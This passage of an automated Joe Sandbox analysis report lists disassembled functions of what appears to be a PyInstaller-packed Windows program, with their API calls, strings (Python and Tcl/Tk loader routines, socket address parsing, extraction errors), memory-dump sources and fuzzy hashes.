_get_daylight.LIBCMT ref: 00007FF72C675ECC

Part of subcall function 00007FF72C6755C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6755DC

Part of subcall function 00007FF72C66A948: HeapFree.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
Part of subcall function 00007FF72C66A948: GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72C67610C), ref: 00007FF72C675EF3

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: 807c0db034e7fbf72cd21f584035cc2bff27495446651293bd15c873eb4c4583
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: 4551B132A0864286E711FF21DD821A9E362FF687A4FC44576EA0D43696DF3CE444CF60

Function 00007FFBAA496424 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

listen.WS2_32 ref: 00007FFBAA49647A

Strings

|i:listen, xrefs: 00007FFBAA496440

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: listen
String ID: |i:listen
API String ID: 3257165821-1087349693
Opcode ID: 236a73d6f59518f4dd2701652e7b01f649b09d785da2048cfb4d59739cfef329
Instruction ID: 4bfc29647a23036c5a6ddd68133d32b037b08b3381443cdd851aa587941936bf
Opcode Fuzzy Hash: 236a73d6f59518f4dd2701652e7b01f649b09d785da2048cfb4d59739cfef329
Instruction Fuzzy Hash: 1F015EA1A19A41C2F7068F72E5C002EA369BF84B80F244071EE5E43B24EF3DE4668710

Function 00007FF72C655830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655840
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655852
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655889
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65589B
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558B4
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558C6
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558DF
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558F1
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65590D
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65591F
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65593B
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65594D
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655969
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65597B
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655997
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6559A9
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6559C5
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6559D7

Strings

Failed to get address for %hs, xrefs: 00007FF72C655861
PyErr_Occurred, xrefs: 00007FF72C655B2B, 00007FF72C655B4D
PyUnicode_Decode, xrefs: 00007FF72C655EF1, 00007FF72C655F13
PyUnicode_Replace, xrefs: 00007FF72C655FD7, 00007FF72C655FF9
PyObject_CallFunctionObjArgs, xrefs: 00007FF72C655D25, 00007FF72C655D47
PyRun_SimpleStringFlags, xrefs: 00007FF72C655E0B, 00007FF72C655E2D
PyImport_ImportModule, xrefs: 00007FF72C655C3F, 00007FF72C655C61
PyErr_Fetch, xrefs: 00007FF72C655ACF, 00007FF72C655AF1
PyObject_Str, xrefs: 00007FF72C655DAF, 00007FF72C655DD1
Py_IsInitialized, xrefs: 00007FF72C655931, 00007FF72C655953
PyConfig_SetBytesString, xrefs: 00007FF72C655A17, 00007FF72C655A39
PyObject_GetAttrString, xrefs: 00007FF72C655D53, 00007FF72C655D75
PyImport_AddModule, xrefs: 00007FF72C655BE3, 00007FF72C655C05
Py_Finalize, xrefs: 00007FF72C6558D5, 00007FF72C6558F7
PyConfig_SetWideStringList, xrefs: 00007FF72C655A73, 00007FF72C655A95
PyImport_ExecCodeModule, xrefs: 00007FF72C655C11, 00007FF72C655C33
PyObject_SetAttrString, xrefs: 00007FF72C655D81, 00007FF72C655DA3
Py_InitializeFromConfig, xrefs: 00007FF72C655903, 00007FF72C655925
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF72C655DDD, 00007FF72C655DFF
PySys_GetObject, xrefs: 00007FF72C655E67, 00007FF72C655E89
PyConfig_Clear, xrefs: 00007FF72C65598D, 00007FF72C6559AF
Py_PreInitialize, xrefs: 00007FF72C65595F, 00007FF72C655981
PyMarshal_ReadObjectFromString, xrefs: 00007FF72C655C6D, 00007FF72C655C8F
PySys_SetObject, xrefs: 00007FF72C655E95, 00007FF72C655EB7
PyModule_GetDict, xrefs: 00007FF72C655CC9, 00007FF72C655CEB
PyUnicode_Join, xrefs: 00007FF72C655FA9, 00007FF72C655FCB
PyErr_Clear, xrefs: 00007FF72C655AA1, 00007FF72C655AC3
PyMem_RawFree, xrefs: 00007FF72C655C9B, 00007FF72C655CBD
PyErr_Restore, xrefs: 00007FF72C655B87, 00007FF72C655BA9
PyErr_NormalizeException, xrefs: 00007FF72C655AFD, 00007FF72C655B1F
Py_ExitStatusException, xrefs: 00007FF72C6558AA, 00007FF72C6558CC
PyConfig_InitIsolatedConfig, xrefs: 00007FF72C6559BB, 00007FF72C6559DD
PyErr_Print, xrefs: 00007FF72C655B59, 00007FF72C655B7B
PyStatus_Exception, xrefs: 00007FF72C655E39, 00007FF72C655E5B
PyConfig_Read, xrefs: 00007FF72C6559E9, 00007FF72C655A0B
Py_DecRef, xrefs: 00007FF72C655836, 00007FF72C655858
PyUnicode_DecodeFSDefault, xrefs: 00007FF72C655F1F, 00007FF72C655F41
PyUnicode_FromString, xrefs: 00007FF72C655F7B, 00007FF72C655F9D
PyUnicode_AsUTF8, xrefs: 00007FF72C655EC3, 00007FF72C655EE5
PyConfig_SetString, xrefs: 00007FF72C655A45, 00007FF72C655A67
Py_DecodeLocale, xrefs: 00007FF72C65587F, 00007FF72C6558A1
PyObject_CallFunction, xrefs: 00007FF72C655CF7, 00007FF72C655D19
PyUnicode_FromFormat, xrefs: 00007FF72C655F4D, 00007FF72C655F6F
PyEval_EvalCode, xrefs: 00007FF72C655BB5, 00007FF72C655BD7
GetProcAddress, xrefs: 00007FF72C655868

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: eda8e9cb84964693718dd253f66033653bfa142b70d2fc38ce5af5868362422b
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 4B22B164A09F07A1FA47BB55AC1A5B4A3A3FF647B1BE41835C51E02260FF3CA54D8F24

Function 00007FF72C6576C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF72C6576D7
GetLastError.KERNEL32 ref: 00007FF72C6576E9
GetProcAddress.KERNEL32 ref: 00007FF72C657725
GetLastError.KERNEL32 ref: 00007FF72C657737
GetProcAddress.KERNEL32 ref: 00007FF72C657750
GetLastError.KERNEL32 ref: 00007FF72C657762
GetProcAddress.KERNEL32 ref: 00007FF72C65777B
GetLastError.KERNEL32 ref: 00007FF72C65778D
GetProcAddress.KERNEL32 ref: 00007FF72C6577A9
GetLastError.KERNEL32 ref: 00007FF72C6577BB
GetProcAddress.KERNEL32 ref: 00007FF72C6577D7
GetLastError.KERNEL32 ref: 00007FF72C6577E9
GetProcAddress.KERNEL32 ref: 00007FF72C657805
GetLastError.KERNEL32 ref: 00007FF72C657817
GetProcAddress.KERNEL32 ref: 00007FF72C657833
GetLastError.KERNEL32 ref: 00007FF72C657845
GetProcAddress.KERNEL32 ref: 00007FF72C657861
GetLastError.KERNEL32 ref: 00007FF72C657873

Strings

Failed to get address for %hs, xrefs: 00007FF72C6576F8
Tcl_FinalizeThread, xrefs: 00007FF72C6577CD, 00007FF72C6577EF
Tcl_GetCurrentThread, xrefs: 00007FF72C657857, 00007FF72C657879
Tcl_CreateInterp, xrefs: 00007FF72C65771B, 00007FF72C65773D
Tcl_SetVar2, xrefs: 00007FF72C657A51, 00007FF72C657A73
Tcl_GetVar2, xrefs: 00007FF72C657A23, 00007FF72C657A45
Tcl_Free, xrefs: 00007FF72C657C4B, 00007FF72C657C6D
Tcl_GetString, xrefs: 00007FF72C657AAD, 00007FF72C657ACF
Tcl_ThreadQueueEvent, xrefs: 00007FF72C6579C7, 00007FF72C6579E9
Tcl_NewByteArrayObj, xrefs: 00007FF72C657B09, 00007FF72C657B2B
Tcl_ConditionNotify, xrefs: 00007FF72C65796B, 00007FF72C65798D
Tcl_DeleteInterp, xrefs: 00007FF72C6577FB, 00007FF72C65781D
Tcl_FindExecutable, xrefs: 00007FF72C657746, 00007FF72C657768
Tcl_ThreadAlert, xrefs: 00007FF72C6579F5, 00007FF72C657A17
Tcl_ConditionWait, xrefs: 00007FF72C657999, 00007FF72C6579BB
Tcl_SetVar2Ex, xrefs: 00007FF72C657B37, 00007FF72C657B59
Tk_GetNumMainWindows, xrefs: 00007FF72C657CA7, 00007FF72C657CC9
Tcl_Alloc, xrefs: 00007FF72C657C1D, 00007FF72C657C3F
Tcl_Finalize, xrefs: 00007FF72C65779F, 00007FF72C6577C1
Tcl_MutexUnlock, xrefs: 00007FF72C6578E1, 00007FF72C657903
Tcl_GetObjResult, xrefs: 00007FF72C657B65, 00007FF72C657B87
Tcl_MutexLock, xrefs: 00007FF72C6578B3, 00007FF72C6578D5
Tcl_MutexFinalize, xrefs: 00007FF72C65790F, 00007FF72C657931
Tcl_EvalObjv, xrefs: 00007FF72C657BEF, 00007FF72C657C11
Tcl_EvalEx, xrefs: 00007FF72C657BC1, 00007FF72C657BE3
Tcl_JoinThread, xrefs: 00007FF72C657885, 00007FF72C6578A7
Tk_Init, xrefs: 00007FF72C657C79, 00007FF72C657C9B
Tcl_Init, xrefs: 00007FF72C6576D0, 00007FF72C6576EF
Tcl_CreateThread, xrefs: 00007FF72C657829, 00007FF72C65784B
Tcl_NewStringObj, xrefs: 00007FF72C657ADB, 00007FF72C657AFD
Tcl_DoOneEvent, xrefs: 00007FF72C657771, 00007FF72C657793
Tcl_CreateObjCommand, xrefs: 00007FF72C657A7F, 00007FF72C657AA1
Tcl_ConditionFinalize, xrefs: 00007FF72C65793D, 00007FF72C65795F
Tcl_EvalFile, xrefs: 00007FF72C657B93, 00007FF72C657BB5
GetProcAddress, xrefs: 00007FF72C6576FF

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: b00a13361c43f882c3d9dc7e2ff6d330094b8b229ca819b7d7d68bea95002607
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 4E02B324A1DB0B91EA17BB15BC19574A3A3FF647B4BE40831C52E022A4EF3CB14D8A34

Function 00007FFBAA4940F0 Relevance: 33.5, APIs: 5, Strings: 14, Instructions: 244networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FFBAA4944EF

Strings

%s(): AF_HYPERV address vm_id is not a valid UUID string, xrefs: 00007FFBAA494209
%s(): wrong format, xrefs: 00007FFBAA4942C7
%s(): AF_HYPERV address must be tuple, not %.500s, xrefs: 00007FFBAA4941AA
%s(): bad family, xrefs: 00007FFBAA494141
O&i|II;AF_INET6 address must be a tuple (host, port[, flowinfo[, scopeid]]), xrefs: 00007FFBAA49434A
%s(): port must be 0-65535., xrefs: 00007FFBAA49445F
%s(): AF_INET address must be tuple, not %.500s, xrefs: 00007FFBAA494417
%s(): AF_HYPERV address service_id is not a valid UUID string, xrefs: 00007FFBAA49424C
UU;AF_HYPERV address must be a str tuple (vm_id, service_id), xrefs: 00007FFBAA4941D9
%s(): unsupported AF_HYPERV protocol: %d, xrefs: 00007FFBAA49415E
O&i;AF_INET address must be a pair (host, port), xrefs: 00007FFBAA49443A
%s(): flowinfo must be 0-1048575., xrefs: 00007FFBAA4943C3
%s(): unknown Bluetooth protocol, xrefs: 00007FFBAA494292
%s(): AF_INET6 address must be tuple, not %.500s, xrefs: 00007FFBAA49431A

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: htons
String ID: %s(): AF_HYPERV address must be tuple, not %.500s$%s(): AF_HYPERV address service_id is not a valid UUID string$%s(): AF_HYPERV address vm_id is not a valid UUID string$%s(): AF_INET address must be tuple, not %.500s$%s(): AF_INET6 address must be tuple, not %.500s$%s(): bad family$%s(): flowinfo must be 0-1048575.$%s(): port must be 0-65535.$%s(): unknown Bluetooth protocol$%s(): unsupported AF_HYPERV protocol: %d$%s(): wrong format$O&i;AF_INET address must be a pair (host, port)$O&i|II;AF_INET6 address must be a tuple (host, port[, flowinfo[, scopeid]])$UU;AF_HYPERV address must be a str tuple (vm_id, service_id)
API String ID: 4207154920-3631354148
Opcode ID: 65c7fb5e1b5cb7743f2b7115a2606a9b17d437ac19ebb2a548de934386b24315
Instruction ID: ca4d1336d21a981c88a550ab27a94b77afebb0022e65bef825ba14417b537852
Opcode Fuzzy Hash: 65c7fb5e1b5cb7743f2b7115a2606a9b17d437ac19ebb2a548de934386b24315
Instruction Fuzzy Hash: 3EC109B1A0AB42C5EB128F75D8C01BC27A8BB48B84F544176EE4E43665DF3DE466C361

Function 00007FFBAA494F74 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 170COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FFBAA494FF5
FreeAddrInfoW.WS2_32 ref: 00007FFBAA495025
FreeAddrInfoW.WS2_32 ref: 00007FFBAA495062
FreeAddrInfoW.WS2_32 ref: 00007FFBAA49508C
inet_pton.WS2_32 ref: 00007FFBAA4950E6
inet_pton.WS2_32 ref: 00007FFBAA495131
getaddrinfo.WS2_32 ref: 00007FFBAA495177
FreeAddrInfoW.WS2_32 ref: 00007FFBAA4951C5

Strings

wildcard resolved to multiple address, xrefs: 00007FFBAA495068
<broadcast>, xrefs: 00007FFBAA4950B0
address family mismatched, xrefs: 00007FFBAA4951F7
255.255.255.255, xrefs: 00007FFBAA495099
unsupported address family, xrefs: 00007FFBAA49502B
unknown address family, xrefs: 00007FFBAA4951DE

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: AddrFreeInfo$getaddrinfoinet_pton
String ID: 255.255.255.255$<broadcast>$address family mismatched$unknown address family$unsupported address family$wildcard resolved to multiple address
API String ID: 3456548859-1715193308
Opcode ID: e38dd31c2c705093840054c3f6f1944b26c7efcdfc5ee6327c49719d0f116eec
Instruction ID: 65e6c4555fd344a9a6d5c878a968f485d0cf8163cbec0d09a29e513d0f5baab2
Opcode Fuzzy Hash: e38dd31c2c705093840054c3f6f1944b26c7efcdfc5ee6327c49719d0f116eec
Instruction Fuzzy Hash: 7771C5A1A09642C2F7228F35D4C427D23A8FB45B80F60427AFE4E436A5CF3CE566C751

Function 00007FFBAA497BA8 Relevance: 24.7, APIs: 4, Strings: 10, Instructions: 162COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FFBAA497D2B
htonl.WS2_32 ref: 00007FFBAA497D91
getnameinfo.WS2_32 ref: 00007FFBAA497DD9
FreeAddrInfoW.WS2_32 ref: 00007FFBAA497E6E

Strings

getnameinfo() argument 1 must be a tuple, xrefs: 00007FFBAA497C25
socket.getnameinfo, xrefs: 00007FFBAA497CA7
, xrefs: 00007FFBAA497DBF
IPv4 sockaddr must be 2 tuple, xrefs: 00007FFBAA497E07
surrogatepass, xrefs: 00007FFBAA497E27
Oi:getnameinfo, xrefs: 00007FFBAA497BF4
(O), xrefs: 00007FFBAA497CA0
sockaddr resolved to multiple addresses, xrefs: 00007FFBAA497D60
getnameinfo(): flowinfo must be 0-1048575., xrefs: 00007FFBAA497C92
si|II;getnameinfo(): illegal sockaddr argument, xrefs: 00007FFBAA497C70

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: AddrFreeInfogetaddrinfogetnameinfohtonl
String ID: $(O)$IPv4 sockaddr must be 2 tuple$Oi:getnameinfo$getnameinfo() argument 1 must be a tuple$getnameinfo(): flowinfo must be 0-1048575.$si|II;getnameinfo(): illegal sockaddr argument$sockaddr resolved to multiple addresses$socket.getnameinfo$surrogatepass
API String ID: 4001298222-243639936
Opcode ID: 8c926511a33a684e4fd5c2fa0c2c9a11c5c77bdf7478a1f8c49009de7e57055e
Instruction ID: 46f627e6f2d3e98e52c617db0687a09f45655bb14a83815ca843865fa8d5f1d5
Opcode Fuzzy Hash: 8c926511a33a684e4fd5c2fa0c2c9a11c5c77bdf7478a1f8c49009de7e57055e
Instruction Fuzzy Hash: 03813EB2A09B46C6EB228F31E4C01AD73A8FB84B94F540276EE4D43668DF7CE556C750

Function 00007FF72C6581D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF72C6586B7,?,?,00000000,00007FF72C653CBB), ref: 00007FF72C65822C

Part of subcall function 00007FF72C652810: MessageBoxW.USER32 ref: 00007FF72C6528EA

Strings

LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF72C658203
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF72C65829D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF72C658373
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF72C658240
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF72C6582D9
CreateDirectory, xrefs: 00007FF72C65837C
%.*s, xrefs: 00007FF72C65830C
\, xrefs: 00007FF72C658261

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: 7ef42902bd1cde71f8c84e3eb85ebb2b6a6ae9d11e0d93f16cb01c3d8ab3ec0a
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: 4B518611A1C64281FA52BB65DC552B9E352FFB87E0FE44831D70E42AD5EE3CE5088F60

Function 00007FF72C651600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72C6517DF
fread, xrefs: 00007FF72C6517E6
malloc, xrefs: 00007FF72C651749
fseek, xrefs: 00007FF72C6516E1
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72C6516DA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF72C651742
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF72C6517CA
fopen, xrefs: 00007FF72C651663
Failed to extract %s: failed to open target file!, xrefs: 00007FF72C65165C
Failed to create symbolic link %s!, xrefs: 00007FF72C651622
fwrite, xrefs: 00007FF72C6517D1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF72C6516A2

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
